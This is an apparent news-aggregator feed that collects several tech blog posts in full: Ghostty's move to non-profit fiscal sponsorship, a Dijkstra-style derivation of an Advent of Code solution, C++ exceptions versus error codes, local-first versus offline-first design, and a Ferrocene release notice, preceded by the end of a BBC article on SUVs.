    David Leggett believes people could potentially be encouraged to buy smaller vehicles, particularly for use in cities. "There are opportunities to tweak tax regimes to make smaller cars relatively attractive," he says.

    But ensuring there are enough runabouts to go around may be tricky. "There will always be a market for highly manoeuvrable and low-cost city cars in urban areas, but making them profitably is a huge challenge," Mr Leggett says.

    The BYD's Dolphin Surf electric vehicle 
Image source, Bloomberg via Getty Images

    Image caption,

    Several relatively low-priced small EVs have recently come on to the market, including BYD's Dolphin Surf

    However, several relatively low-priced small EVs have recently come on to the market, including BYD's Dolphin Surf, Leapmotor International's T03, Hyundai's Inster and the new Renault 5. They will be joined before long by Kia's EV2, and VW's ID Polo.

    For the moment though, SUVs remain firmly in charge.

    "Clearly, people want SUVs, and I'm not sure what the answer to that is," says Rachel Burgess. "But small cars are coming back, as the industry has understood how to make money from small cars in an electric world...

    "I do believe everything is cyclical and trends come and go in every part of life, including cars. SUVs won't be around forever."

    Top picture credit: Getty Images

    Get in touch

    Do you own a large electric car? Get in touch.

    InDepth notifications banner

    BBC InDepth is the home on the website and app for the best analysis, with fresh perspectives that challenge assumptions and deep reporting on the biggest issues of the day. You can now sign up for notifications that will alert you whenever an InDepth story is published - click here to find out how.

    Ghostty Is Now Non-Profit

    Hacker News
    mitchellh.com
    2025-12-03 18:40:06
    Comments...
    Original Article

    Ghostty is now fiscally sponsored by Hack Club , a registered 501(c)(3) non-profit.

    Fiscal sponsorship is a legal and financial arrangement in which a recognized non-profit extends its tax-exempt status to a project that aligns with its mission. This allows Ghostty to operate as a charitable initiative while Hack Club manages compliance, donations, accounting, and governance oversight.

    Being non-profit clearly demonstrates our commitment to keeping Ghostty free and open source for everyone. It paves the way for a model for sustainable development beyond my personal involvement. And it also provides important legal protections and assurances to the people and communities that adopt and use Ghostty.


    Why a Non-Profit?

    Since the beginning of the project in 2023 and the private beta days of Ghostty, I've repeatedly expressed my intention that Ghostty legally become a non-profit. This intention stems from several core beliefs I have.

    First, I want to lay bricks for a sustainable future for Ghostty that doesn't depend on my personal involvement technically or financially. Financially, I am still the largest donor to the project, and I intend to remain so, but a non-profit structure allows others to contribute financially without fear of misappropriation or misuse of funds (as protected by legal requirements and oversight from the fiscal sponsor).

    Second, I want to squelch any possible concerns about a "rug pull" . A non-profit structure provides enforceable assurances: the mission cannot be quietly changed, funds cannot be diverted to private benefit, and the project cannot be sold off or repurposed for commercial gain. The structure legally binds Ghostty to the public-benefit purpose it was created to serve.

    Finally, despite being decades-old technology, terminals and terminal-related technologies remain foundational to modern computing and software infrastructure. They're often out of the limelight, but they're ever present on developer machines, embedded in IDEs, visible as read-only consoles for continuous integration and cloud services, and still one of the primary ways remote access is done on servers around the world.

    I believe infrastructure of this kind should be stewarded by a mission-driven, non-commercial entity that prioritizes public benefit over private profit. That structure increases trust, encourages adoption, and creates the conditions for Ghostty to grow into a widely used and impactful piece of open-source infrastructure.


    What This Means For Ghostty

    From a technical perspective, nothing changes for Ghostty. Our technical goals for the project remain the same, the license (MIT) remains the same, and we continue our work towards better Ghostty GUI releases and libghostty .

    Financially, Ghostty can now accept tax-deductible donations in the United States. This opens up new avenues for funding the project and sustaining development over the long term. Most immediately, I'm excited to begin compensating contributors , but I also intend to support upstream dependencies, fund community events, and pay for boring operational costs.

    All our financial transactions will be transparent down to individual transactions for both inflows and outflows. You can view our public ledger at Ghostty's page on Hack Club Bank . At the time of writing, this is empty, but you'll soon see some initial funding from me and the beginning of paying for some of our operational costs.

    All applicable names, marks, and intellectual property associated with Ghostty have been transferred to Hack Club and are now owned under the non-profit umbrella. Copyright continues to be held by individual contributors under the continued and existing license structure.

    From a leadership perspective, I remain the project lead and final authority on all decisions, but as stated earlier, the creation of a non-profit structure lays the groundwork for an eventual future beyond this model.

    Important note: no funds will be sent to me (Mitchell Hashimoto) or used in any way that personally benefits me. Since I'm both the largest donor and lead of this project, this is a legally guaranteed protection. But also for altruistic reasons, all funds will be directed towards the needs of the project and its community.


    Supporting Hack Club

    As our fiscal sponsor, Hack Club provides essential services to Ghostty, including accounting, legal compliance, and governance oversight. To support this, 7% of all donations to Ghostty go to Hack Club to cover these costs in addition to supporting their broader mission of empowering young people around the world interested in technology and coding.

    In the words of Zach Latta, Hack Club's founder and executive director this is a "good-for-good" trade. Instead of donor fees going to a for-profit management company or covering pure overhead of a single project, the fees go to another non-profit doing important work in the tech community and the overhead is amortized across many projects.

    In addition to the 7% fees, my family is personally donating $150,000 directly to the Hack Club project 1 (not to Ghostty within it). Hack Club does amazing work and I would've supported them regardless of their fiscal sponsorship of Ghostty, but I wanted to pair these two things together to amplify the impact of both.


    Please consider donating to support Ghostty's continued development.

    I recognize that Ghostty is already in an abnormally fortunate position to have myself as a backer, but I do envision a future where Ghostty is more equally supported by a broader community. And with our new structure, you can be assured about the usage of your funds towards public-benefit goals.

    This post isn't meant to directly be a fundraising pitch so it is purposely lacking critical details about our funding goals, budget, project goals, project metrics, etc. I'll work on those in the future. In the mean time, if you're interested in talking more about supporting Ghostty, please email me at m@mitchellh.com .

    Support Ghostty

    Your contribution helps sustain development and keeps Ghostty free and open source for everyone. Donations are tax-deductible in the United States.

    DAF or Foundation

    Use the EIN above and specify “Ghostty” as the recipient

    7% of donations go to Hack Club to cover administrative costs and support their mission.


    Thank You

    I'm thankful for Hack Club and their team for working with us to make this happen. I'm also thankful for the Ghostty community who has supported this project and has trusted me and continues to trust me to steward it responsibly.

    For more information about Ghostty's non-profit structure, see the dedicated page on Ghostty's website.

    1. We haven't finalized the transfer of the funds yet, but it is initiated and will be completed in the coming weeks.

    Formally verifying Advent of Code using Dijkstra's program construction

    Hacker News
    haripm.com
    2025-12-03 18:39:04
    Comments...
    Original Article

    I’m doing Advent of Code again this year, and part 1 of today’s problem reminded me immediately of some of the problems I’m doing in my Program Construction module at UCD. In the class, we cover the foundations of Edsger W. Dijsktra’s Structured Programming . It teaches you how to formally verify your program by finding the pre-conditions and post-conditions, then deriving and proving theorems that build up towards the final program.

    It’s a very different style of thinking about programming than most people are used to, but I’ll try my best to explain the notation and the logic I’m using.

    We start out by writing our post-condition. This is what we want to be true once our program has finished running — in other words, it’s what we want to calculate. We’re going to use this funky-looking syntax called Quantified Notation.

    As an intro, here’s a basic quantified expression:

    + i : 0 i < N : f . i \langle +\;i : 0 \leq i < N: f.i \rangle

    f . i f.i is the syntax we’ll use for accessing the i t h i^{th} element of some array f f . This is simply shorthand for this longer expression:

    f .0 + f .1 + f .2 + f .3 + + f . ( N 1 ) f.0 + f.1 + f.2 + f.3 + \dotsb + f.(N - 1)

    For those of you more familiar with functional programming, you’ll find that this is just a reduction over a list. f f is the list in question and + + is the operation we want to use to combine each element with the accumulator. However, program construction is designed around an imperative language, and so we need an index variable i i to keep track of our position in the array. We also have to specify the range of i i , which is from 0 0 to the length of the array.

    With that exposition out of the way, here’s the postcondition for our AoC problem (for a single bank of batteries). You should go read the problem statement over on the AoC website for this to make sense :)

    i , j : 0 i < j < N : 10 f . i + f . j \langle \uparrow i, j : 0 \leq i < j < N : 10 \cdot f.i + f.j \rangle

    This is a quantification over two variables: i i and j j . It’s essentially the same as before, but when we reduce using the max operator ( \uparrow ), we have to reduce over 10 f . i + f . j 10 \cdot f.i + f.j for every possible combination of i i and j j , such that j j is greater than i i . And yeah, that’s exactly what we want: we want the two batteries to turn on such that the concatenation of their joltages is the maximum possible. Note that we’re assuming here that we’ve already parsed each bank of batteries into an array of integers f f .

    Now we get to build our domain model. It’s the collection of definitions and theorems that we can use later on when constructing our program.

    Model

    ( 0 ) C . n i , j : 0 i < j < n : 10 f . i + f . j , 2 n N (0) \: C.n \equiv \langle \uparrow i, j : 0 \leq i < j < n : 10 \cdot f.i + f.j \rangle \quad,\quad 2 \leq n \leq N

    We extract our post-condition into a reusable function defined over all n n from 2 2 — the minimum valid length of an array for this calculation — to N N , the actual length of our array.

    Now observe:

    C .2 = (0) i , j : 0 i < j < 2 : 10 f . i + f . j = split off j = 1 i , j : 0 i < j < 1 : 10 f . i + f . j i : 0 i < 1 : 10 f . i + f .1 = empty range, single point i d 10 f .0 + f .1 = arithmetic 10 f .0 + f .1 \quad C.2 \\ =\quad\quad\quad {\text{(0)}} \\ \quad \langle \uparrow i, j : 0 \leq i < j < 2 : 10 \cdot f.i + f.j \rangle \\ =\quad\quad\quad {\text{split off j = 1}} \\ \quad \langle \uparrow i, j : 0 \leq i < j < 1 : 10 \cdot f.i + f.j \rangle \; \uparrow \; \langle \uparrow i : 0 \leq i \lt 1 : 10 \cdot f.i + f.1 \rangle\\ =\quad\quad\quad {\text{empty range, single point}} \\ \quad id_\uparrow \; \uparrow \; 10 \cdot f.0 + f.1 \\ =\quad\quad\quad {\text{arithmetic}} \\ \quad 10 \cdot f.0 + f.1 \\

    So now we know that:

    ( 1 ) C .2 = f .0 + f .1 (1) \: C.2 = f.0 + f.1

    Now that we have our “base case”, or the initial value of our accumulator, we can look into using associativity to find C . ( n + 1 ) C.(n+1) given C . n C.n .

    Observe again:

    C . ( n + 1 ) = (0) i , j : 0 i < j < n + 1 : 10 f . i + f . j = split off j = n i , j : 0 i < j < n : 10 f . i + f . j i : 0 i < n : 10 f . i + f . n = (0) C . n i : 0 i < n : 10 f . i + f . n = (3) C . n D . n \quad C.(n+1) \\ =\quad\quad\quad {\text{(0)}} \\ \quad \langle \uparrow i, j : 0 \leq i < j < n + 1 : 10 \cdot f.i + f.j \rangle \\ =\quad\quad\quad {\text{split off j = n}} \\ \quad \langle \uparrow i, j : 0 \leq i < j < n : 10 \cdot f.i + f.j \rangle \; \uparrow \; \langle \uparrow i : 0 \leq i \lt n : 10 \cdot f.i + f.n \rangle\\ =\quad\quad\quad {\text{(0)}} \\ \quad C.n \; \uparrow \; \langle \uparrow i : 0 \leq i \lt n : 10 \cdot f.i + f.n \rangle\\ =\quad\quad\quad {\text{(3)}} \\ \quad C.n \; \uparrow \; D.n\\

    This gives us

    ( 2 ) C . ( n + 1 ) C . n + D . n , 2 n < N (2) \: C.(n+1) \equiv C.n + D.n \quad,\quad 2 \leq n \lt N

    and

    ( 3 ) D . n i : 0 i < n : 10 f . i + f . n , 2 n < N (3) \: D.n \equiv \langle \uparrow i : 0 \leq i \lt n : 10 \cdot f.i + f.n \rangle \quad,\quad 2 \leq n \lt N

    Did you see how I sneakily used (3) up there before defining it properly? Let’s actually simplify D . n D.n .

    Observe once more:

    D . n = (3) i : 0 i < n : 10 f . i + f . n = + distributes over i : 0 i < n : 10 f . i + f . n = distributes over 10 i : 0 i < n : f . i + f . n = (6) 10 E . n + f . n \quad D.n \\ =\quad\quad\quad {\text{(3)}} \\ \quad \langle \uparrow i : 0 \leq i \lt n : 10 \cdot f.i + f.n \rangle \\ =\quad\quad\quad {+ \: \text{distributes over} \: \uparrow} \\ \quad \langle \uparrow i : 0 \leq i \lt n : 10 \cdot f.i \rangle + f.n \\ =\quad\quad\quad {* \: \text{distributes over} \: \uparrow} \\ \quad 10 \: \cdot \langle \uparrow i : 0 \leq i \lt n : f.i \rangle + f.n \\ =\quad\quad\quad {\text{(6)}} \\ \quad 10 \: \cdot E.n + f.n \\

    So:

    ( 3 ) D . n 10 E . n + f . n , 2 n < N (3) \: D.n \equiv 10 \cdot E.n + f.n \quad,\quad 2 \leq n \lt N

    And:

    ( 6 ) E . n i : 0 i < n : f . i , 2 n < N (6) \: E.n \equiv \: \langle \uparrow i : 0 \leq i \lt n : f.i \rangle \quad,\quad 2 \leq n \lt N

    What happened to (4) and (5), you ask? Well, we have to derive the base case and associative case for D . n D.n just like we did for C . n C.n . We’ll need our E . n E.n theorems first, though.

    Observe:

    E .2 = (6) i : 0 i < 2 : f . i = split off i = 1 i : 0 i < 1 : f . i f .1 = single point f .0 f .1 \quad E.2 \\ =\quad\quad\quad {\text{(6)}} \\ \quad \langle \uparrow i : 0 \leq i \lt 2 : f.i \rangle \\ =\quad\quad\quad {\text{split off i = 1}} \\ \quad \langle \uparrow i : 0 \leq i \lt 1 : f.i \rangle \: \uparrow f.1 \\ =\quad\quad\quad {\text{single point}} \\ \quad f.0 \: \uparrow f.1 \\

    And so:

    ( 7 ) E .2 = f .0 f .1 (7) \: E.2 = f.0 \: \uparrow f.1

    And once more:

    E . ( n + 1 ) = (6) i : 0 i < n + 1 : f . i = split off i = n i : 0 i < 1 : f . i f . n = (6) E . n f . n \quad E.(n+1) \\ =\quad\quad\quad {\text{(6)}} \\ \quad \langle \uparrow i : 0 \leq i \lt n + 1 : f.i \rangle \\ =\quad\quad\quad {\text{split off i = n}} \\ \quad \langle \uparrow i : 0 \leq i \lt 1 : f.i \rangle \: \uparrow f.n \\ =\quad\quad\quad {\text{(6)}} \\ \quad E.n \: \uparrow f.n \\

    Which gives us:

    ( 8 ) E . ( n + 1 ) E . n f . n , 2 n < N 1 (8) \: E.(n + 1) \equiv E.n \: \uparrow f.n \quad,\quad 2 \leq n \lt N - 1

    And now back to D . n D.n . You know the drill, observe:

    D .2 = (3) 10 E .2 + f .2 = (7) 10 ( f .0 f .1 ) + f .2 \quad D.2 \\ =\quad\quad\quad {\text{(3)}} \\ \quad 10 \cdot E.2 + f.2 \\ =\quad\quad\quad {\text{(7)}} \\ \quad 10 \cdot (f.0 \: \uparrow f.1) + f.2 \\

    And similarly:

    D . ( n + 1 ) = (3) 10 E . ( n + 1 ) + f . ( n + 1 ) = (8) 10 ( E . n f . n ) + f . ( n + 1 ) \quad D.(n + 1) \\ =\quad\quad\quad {\text{(3)}} \\ \quad 10 \cdot E.(n + 1) + f.(n + 1) \\ =\quad\quad\quad {\text{(8)}} \\ \quad 10 \cdot (E.n \: \uparrow f.n) + f.(n + 1) \\

    So the last pieces of our model are:

    ( 4 ) D .2 = 10 ( f .0 f .1 ) + f .2 (4) \: D.2 = 10 \cdot (f.0 \: \uparrow f.1) + f.2

    ( 5 ) D . ( n + 1 ) 10 ( E . n f . n ) + f . ( n + 1 ) , 2 n < N 1 (5) \: D.(n + 1) \equiv 10 \cdot (E.n \: \uparrow f.n) + f.(n + 1) \quad,\quad 2 \leq n \lt N - 1

    Lovely. We now have everything we need to go and construct our program loop.

    Program Loop

    Let’s first rewrite our postcondition in terms of the theorems from our model.

    C . N C.N

    We can then strengthen this postcondition by rewriting it like so:

    C . n n = N C.n \wedge n = N

    Strengthen is a funny name, but that’s all there is to it. We’re pulling N N out of C . N C.N . Why? Because every loop has 3 fundamental things:

    • Invariants: these are the things that are always true during the program
    • Variant: a measure of how much work there is left to do
    • Guard: a boolean check that lets you know when to break out of the loop; that is, when your variant has bottomed out because there is no more work left

    By splitting our post-condition into two parts, we can use the first part as our invariant and the second as our loop guard.

    Invariants

    Let’s say we have a variable r r , and r r is always equal to C . n C.n , for whatever value n n is at the moment. This is an invariant.

    r = C . n r = C.n

    However, the definition of C . ( n + 1 ) C.(n+1) depends on D . n D.n , which depends on E . n E.n .

    Let’s get some variables involved for those too:

    d = D . n e = E . n d = D.n \\ e = E.n

    So our invariants are:

    ( P 0 ) r = C . n d = D . n e = E . n (P0) \: r = C.n \wedge d = D.n \wedge e = E.n

    ( P 1 ) 2 n N 1 (P1) \: 2 \leq n \leq N - 1

    Establish the invariants

    We can “establish” our invariants by initialising our variables to values such that the equalities we defined as invariants are true. We know the values of C .2 C.2 , D .2 D.2 , and E .2 E.2 from when we derived them. So, let’s set n = 2 n = 2 and initialise r r , d d , and e e to those values.

    n : = 2 n := 2

    r : = C .2 : = 10 f .0 + f .1 r := C.2 := 10 * f.0 + f.1

    d : = D .2 : = 10 ( f .0 f .1 ) + f .2 d := D.2 := 10 * (f.0 \:\uparrow f.1) + f.2

    e : = E .2 : = ( f .0 f .1 ) e := E.2 := (f.0 \:\uparrow f.1)

    Loop Guard

    Remember how I said we could use the n = N n =N part as our guard? I was lying, just a little bit. If you were paying attention during those derivations, you’ll have noticed that C . n C.n is defined for 0 n N 0 \leq n \leq N , but D . n D.n and E . n E.n are defined for 0 n < N 0 \leq n \lt N , and D . ( n + 1 ) D.(n + 1) and E . ( n + 1 ) E. (n + 1) are only defined for 0 n < N 1 0 \leq n \lt N - 1 .

    This is because you can’t calculate C . ( N + 1 ) C.(N+1) . There simply aren’t any more elements in the array, and so C . ( n + 1 ) C.(n+1) is not defined at N N . Since the definition of D . n D.n comes from C . ( n + 1 ) C.(n+1) , we don’t define D . n D.n at N N either. And since D . n D.n is not defined at N N , D . ( n + 1 ) D.(n+1) cannot be defined at N 1 N-1 . Similarly for E . n E.n and E . ( n + 1 ) E.(n+1) .

    And so, our loop actually can’t go all the way up to n = N n = N . It can only go up to N 1 N - 1 (exclusive). That is, we will break out of the loop once n n becomes N 1 N - 1 .

    If you paid attention to the invariants bit, you’ll realise that this means we’ll only have r = C . ( N 1 ) r = C.(N-1) and d = D . ( N 1 ) d = D.(N - 1) after the loop. We want C . N C.N though, but this isn’t a problem. From (2), we know how to find C . ( n + 1 ) C.(n+1) from C . n C.n and D . n D.n .

    Anyway, this is our loop guard:

    n N 1 n \neq N - 1

    Variant

    And our corresponding variant is:

    V F = ( N 1 ) n VF = (N - 1) - n

    When V F VF becomes 0, we exit the loop.

    Calculating the loop body

    We’re starting off with n = 2 n = 2 and we want n = N 1 n = N - 1 at the end of the loop. A logical way to get this to happen is to increment n n by 1 in each iteration. The important thing, however, is that we have to make sure our invariants remain true after incrementing n n .

    We don’t know what to set r r , d d , and e e to, but we can find out. Let’s set them to some temporary variables K 1 , K 2 , K 3 K_1, K_2, K_3 and solve for them.

    ( n , r , d , e : = n + 1 , K 1 , K 2 , K 3 ) . ( P 0 ) = text substitution K 1 = C . ( n + 1 ) K 2 = D . ( n + 1 ) K 3 = E . ( n + 1 ) = (2), (5), (8) K 1 = C . n D . n K 2 = 10 ( E . n f . n ) + f . ( n + 1 ) K 3 = E . n f . n = (P0) K 1 = r d K 2 = 10 ( e f . n ) + f . ( n + 1 ) K 3 = e f . n \quad (n, r, d, e := n + 1, K_1, K_2, K_3).(P0) \\ =\quad\quad\quad\text{text substitution} \\ \quad K_1 = C.(n+1) \wedge K_2 = D.(n+1) \wedge K_3 = E.(n+1) \\ =\quad\quad\quad\text{(2), (5), (8)} \\ \quad K_1 = C.n \:\uparrow D.n \wedge K_2 = 10 \cdot (E.n \:\uparrow f.n) + f.(n+1) \wedge K_3 = E.n \:\uparrow f.n \\ =\quad\quad\quad\text{(P0)} \\ \quad K_1 = r \:\uparrow d \wedge K_2 = 10 \cdot (e \:\uparrow f.n) + f.(n+1) \wedge K_3 = e \:\uparrow f.n \\

    Now we know exactly how to update each variable within the loop. Home stretch now!

    Writing our program

    // establish invariants
    {n, r, d, e := 2, 10 * f.0 + f.1, 10 * max(f.0, f.1) + f.2, max(f.0, f.1)}
    
    // loop body
    ; do n != N - 1 ->
        n, r, d, e := n + 1, max(r, d), 10 * max(e, f.n) + f.(n + 1), max(e, f.n)
      od
    
    // calculate C.N from C.(N - 1) and D.(N - 1)
    ; r := max(r, d)
    
    // postcondition achieved!
    {r = C.N}

    The above program is written in Guarded Command Language, another invention of Dijkstra’s. Dijkstra was adamant that it never be implemented for a real computer:

    So let’s translate it to a real programming language. I’ve been solving AoC in Gleam so far. This presents a little challenge, as Gleam is a functional programming language, while GCL is imperative, so we can’t do a 1-to-1 translation. However, with a little bit of cleverness, this is what we get.

    Yeah, LOL. LMAO, even. Absolutely not. I’m not quantifying over 12 variables. It feels like it should theoretically be possible, but I don’t want to find out. I just did it in the most straightforward way possible.

    First, BIG shout-out to Mr. Henry McLoughlin, who taught me Program Construction. He’s a simply lovely person and his enthusiasm for his subject is infectious. I don’t know if I’d have enjoyed the module as much if anyone else taught it. Henry, if you’re reading this, you’re awesome! Thank you so much.

    I guessed what Part 2 would be as soon as I read Part 1, and so if I was aiming for speed, I should have just written do_pt_2 for the general case and reused it across both parts. I would probably have had an easier time of it too. However, 1. I wanted to use what I learned in class and 2. I had fun doing it this way. I think barely anyone else would have done it this way.

    It has the advantage of being rigorously proved to work, but at the cost of being harder to understand at first glance. I can see how this is useful for high-stakes software where the extra expenditure of mental energy on making sure the code is 100% watertight is worth it, but this is probably not what I’d reach for during everyday programming. It did result in a very, very terse program though, which is super impressive.

    The eagle-eyed among you might say that we don’t really need both d and e , in the loop, as d is derived from e . This is true. Program construction doesn’t always produce the most efficient programs. That is between the programmer and the compiler to figure out.

    Oh, the title. Yes. That seemed like a lot of thinking, you might object. It probably was if you’re not familiar with Program Construction yet, but once you’ve derived a couple of these theorems, you’ll find that there is no thinking involved. Not in the sense that once you’re good at something, you can do it almost mechanically, but in the sense that there’s only one way this could have gone . Starting from that post-condition, the theorems we proved fall out automatically as we continue expanding our model, and the same can be said for our loop body. Program construction is really easy in that way, because all you’re doing is following the program derivation to its logical

    end.

    C++ Enum Class and Error Codes

    Lobsters
    mropert.github.io
    2025-12-03 18:21:35
    Comments...
    Original Article

    on C++

    Last time we explored some commonly found alternatives to using enums for error codes such as asserts, contracts and std::expected. Finally today we consider some unthinkable options.

    The code examples given in part 1 and part 2 strongly focused on simple (and I’d argue, quite common) form of error handling: run a sequence of operations, and if any of them fails bail out and report an error. We tried a few alternatives but they all came with caveats. Error code returns polluted a lot of the logic with if ( error ) { return error; } , std::expected was a bit more concise but demanded we rewrite the signature of the functions we call to fit the monadic form and finally contracts allowed for cleaner user code but aren’t really made to do custom error handling ( if they make it into C++26 at all ) or recoverable errors (like a missing file).

    As it turns out, there is a way in C++ to write a function or block expecting everything will succeed, and then through some compiler magic have the control flow bail on error and return, while still running any destructor that needs to be run. In fact it’s been there since the start. We could just have the functions we call throw an exception if they fail.

    Exceptions? Really?!

    Hear me out for a second. On paper this seems to fit the bill. Let’s look at what it would look like:

    Model load_model( const std::filesystem::path& path )
    {
        const auto blob read_from_path( path );
        const auto asset = parse_gltf( blob );
        return upload_to_gpu( asset );
    }
    

    For the implementer of load_model() , this is about as concise and clean at it could be. We write as if no error could happen, focusing on the happy path. And for the caller of load_model() , they can either add a try / catch block to handle failures, or let it pass through to our global exception handler (or call std::abort() if we don’t have one). In this case the caller should probably catch and handle it, as loading assets is the kind of thing that should be allowed to fail (although it should be loud about it so it gets fixed).

    We could even one-line it like this:

    Model load_model( const std::filesystem::path& path )
    {
        return upload_to_gpu( parse_gltf( read_from_path( path ) ) );
    }
    

    Now for the drawbacks…

    “Exceptions are slow and bloat the code”

    This is the kind of thing that keeps being told and retold, but no one ever really checks or tries to reproduce. We just assume it’s true and move on. Luckily, over the past couple years someone took upon themselves to actually verify those assumptions.

    That’s the work Khalil Estell has been doing for a few years now, with results shown in 2 talks I recommend looking at:

    It focuses on GCC, ARM and embedded development, three things I don’t interact much with (after all PC games mostly care about x86_64 Windows Desktop), but the learnings and results are still applicable. As it turns out, there’s a lot of FUD out there about C++ exceptions, and a lot of conventional wisdom dates back from the pre 64 bits era, when exception handling was done through dynamic registration ( setjmp / longjmp ) and not using the more modern table driven approach.

    As Khalil explains in his talks, the table approach used in x64 (and ARM64) has barely any cost on the golden path, it mostly manifests as a bit of extra code for catch blocks that get correctly branch predicted by the CPU. There is a cost to handling caught exceptions, but there again there’s a lot of room for improvement (as shown in the second talk, GCC’s exception handler had a 20 years old // TODO: optimize this comment in its source code).

    In our case, having some overhead when handling exceptional failures such as an asset failing to load doesn’t seem like a big deal either way.

    The real pros and cons

    The main value to me has already been described earlier, it makes everything concise. The best code is no code, and in this case we don’t need to write anything outside of when we want to handle exceptions. The implicit pass-through nature is what allows us to focus on what the code is trying to do, and let the compiler handle error case propagation for us. This is the kind of quality of life thing I enjoy about C++ and other high-level languages.

    The other advantage I’ve noticed is that unlike std::expected and enum error codes, we can finally have constructors that can fail. Gone are the days of two phase construction and .init() , or the ugly post construction .fail() check to make sure the object is actually useable. Not every constructor needs to be able to throw but for those few that can fail (like a class that encapsulates a hardware device) this feels much cleaner.

    The biggest issue with exceptions, in my book, is the lack of documentation in code and enforcement by the compiler. One cannot tell if, and more importantly what, a function may throw just by looking at the signature. The use of the throw keyword in declarations was deprecated in C++11 and removed in C++17. The only thing that remains is noexcept , and quite frankly I find it useless for documentation. In my experience it’s only used for optimization purposes to satisfy if constexpr checks like std::is_nothrow_constructible and friends. I know that ship has sailed, but in my book noexcept should have been the default and we should have kept throw as a mandatory declaration for the functions that need to throw exceptions.

    Since C++ didn’t go the Java route (which honestly I think they got right with the throws keyword), we’re left with comments to know when a try/catch block might be necessary. This is bad because it forces humans to rely on documentation (or read the implementation) rather than rely on something that the compiler can check and enforce (the Java compiler will force you to either catch all exceptions declared thrown by a called function, or declare the calling function as throwing them too).

    Why did we decide to go this way in C++? Frankly I’m not sure. The references I could find didn’t have very convincing arguments. It was argued in P0003 that “exceptions specifications are a failed experiment”, but it’s unclear to me whether it’s just an observation that the poor original design lead us there, or because the author doesn’t like the idea at all. The original sin seems to date back from 1995 where N0741 favoured not adding any exception specification to the standard library because it would “constrain implementation” and leave std:: functions free to throw exception not mentioned in the signature.

    C++ didn’t opt for checked exceptions, instead making the use of the throw specifications optional, so the standard library decided it wouldn’t bother either, and in turn most codebases and libraries did the same. Perhaps there was a lack of experience with exceptions at the time, Java 1.0 was only released in 1996. Almost 30 years later we have much more data and we can have a look at whether or not Java developers consider this a bad decision. I’m no expert in Java, but from what I could see the concerns seemed mostly about which exceptions belongs to which category, not about the whole system itself.

    Too many exceptions?

    In Java, exceptions are split between checked and unchecked. Only the former needs to be declared as thrown and handled, while the latter do not. In the second group you will find things like NullPointerException and ArrayIndexOutOfBoundsException . It’s been argued that libraries and framework have gotten their classification wrong on the occasion, but I could find a good summary on stack overflow:

    Checked Exceptions should be used for predictable, but unpreventable errors that are reasonable to recover from.

    Translated to C++, that rule could be to use exceptions for what Java would consider “checked exceptions”, and rely on contracts, asserts or straight calls to std::abort() for the rest. And going back to the error codes that got this whole discussion started, I think we could derive something similar.

    Looking at our load_model() example, recoverable errors would be things like missing/inaccessible asset file or an unsupported format. Something we want to tell the user about (if we’re making an editor) or replace with a placeholder and a screaming log message (if we’re running a game test build).

    On the other hand we have unrecoverable issues like device failures, programming errors, and generally most of the errors Vulkan can return. For these all we want to do is invoke some form of custom crash reporting before terminating. It might be theoretically possible to handle a VK_ERROR_DEVICE_LOST by shutting down the whole graphics context and recreating a new one, but I don’t see any game trying to do that rather than going back to desktop and let the player restart the game.

    Final thoughts on error handling

    Is it too late for exceptions in C++? Between the weak/non-existent compiler enforcement of throw vs catch and all the bad myth spread around about the performance of exceptions, it’s certainly not a great environment.

    First, I wouldn’t use exceptions for what Java consider “unchecked exceptions”. In my opinion that’s one of the big things to learn from their usage. Contracts and calls to report_failure_and_abort() are better for that job.

    Second, after going back and forth between alternatives on my current libraries, I found exceptions made my code more concise and readable than using std::expected or old timey error code return, enum class or not.

    Finally, thinking back at how it’s been done in past projects, the most common was a bool return that might be checked, followed by crashes further down when it wasn’t. I’d argue that throwing exceptions with no catch block would achieve the same result, but at least the stack trace would point at the original issue in the crash dump.

    Local-first is not offline-first

    Lobsters
    shortdiv.com
    2025-12-03 18:18:39
    Comments...
    Original Article

    In my last post, I mentioned that what makes an app local-first is its ability to keep running even when a connection falters. At first glance, this might look a lot like the offline-first movement that arose alongside the progressive enhancement wave of the mid to late 2010s. But there’s a subtle distinction. Offline-first apps focused primarily on staying functional during network interruptions but the server remained the primary data source. Data in this context is stored locally until a connection is restored, after which the locally stored data is deleted in favor of the remote store. A restored network connection progressively enhanced the experience and syncing only happened when there was new data created during the interim offline period to upload.

    In contrast, local-first treats offline capability as a natural side effect of giving the local device authority over the data. Because data is local-first syncing happens opportunistically rather than on every interaction. All reads and writes happen locally, so the app stays responsive and doesn’t depend on network calls, which significantly reduces latency. Naturally, conflict resolution is a core challenge in a local-first world, which is evidenced by the sheer number of sync engines emerging in the space today.

    The distinction between local-first and offline-first matters because it shifts the center of gravity in software architecture away from the cloud to the user’s local device. While the offline-first movement responded to latency and network constraints, the local-first movement is a reaction to cloud dependency. Local-first carries a philosophical implication and forces us to contend with the question of data sovereignty and user autonomy.

    For all its advantages, local-first has yet to become mainstream. Building apps where every device holds authoritative state requires rethinking the architecture around distributed systems and reactive data flows. Before diving into the technicalities of how all of this works, I want to cover why now. In my next post, I’ll explore the conditions that birthed the local-first movement; a perfect storm of hardware advances and software innovations that made its rise inevitable.

    Stop Talking

    Hacker News
    gurkan.in
    2025-12-03 18:09:49
    Comments...
    Original Article

    The years I’ve been working brought a lot of context, more scars, and more pattern recognition. You start seeing inefficiencies, problems. Like a lineman sees a frayed cable: obvious, dangerous, and actually … fixable.

    The reflex is to speak up, to suggest a better pipeline, a safer rollout, a saner incident process, whatever. But at some point you notice a hard truth: most of that unsolicited wisdom doesn’t land anywhere. Most of the time not because it’s wrong, but it’s inconvenient (for the moment), politically/socially awkward, or misaligned with the current incentives.

    Your brain spins cycles modeling deployment strategies and failure modes that nobody asked you to think about. You dream of a better system, you always did. But the total processing time of your brain is finite.

    These exact suggestions could even be packaged, sold, or delivered in a context that actually rewards them in any meaningful way instead of “yapping” into the void. The difference between “annoying senior sysadmin” and “good consultant” is often just whether you’re in a room that opted in.

    So the survival skill isn’t knowing what should be improved; it’s knowing when to shut up. Not out of apathy, but out of resource management, for self-preservation.

    If no one asked and no one is on the hook to change anything: Stop talking .

    Ferrocene 25.11.0 now available

    Lobsters
    ferrous-systems.com
    2025-12-03 18:09:45
    Comments...
    Original Article

    Today we're announcing the release of Ferrocene 25.11.0, the latest update to our qualified Rust toolchain. This release is particularly special to us as it arrives with our first IEC 61508 (SIL 2) certified subset of the Rust core library ( core )!

    Now, it's even easier to start integrating Rust into your safety-critical industrial systems. Your team can immediately start shipping certifiable code for multiple architectures using a fully qualified Rust compiler and a significant portion of the core library certified.

    What is Ferrocene?

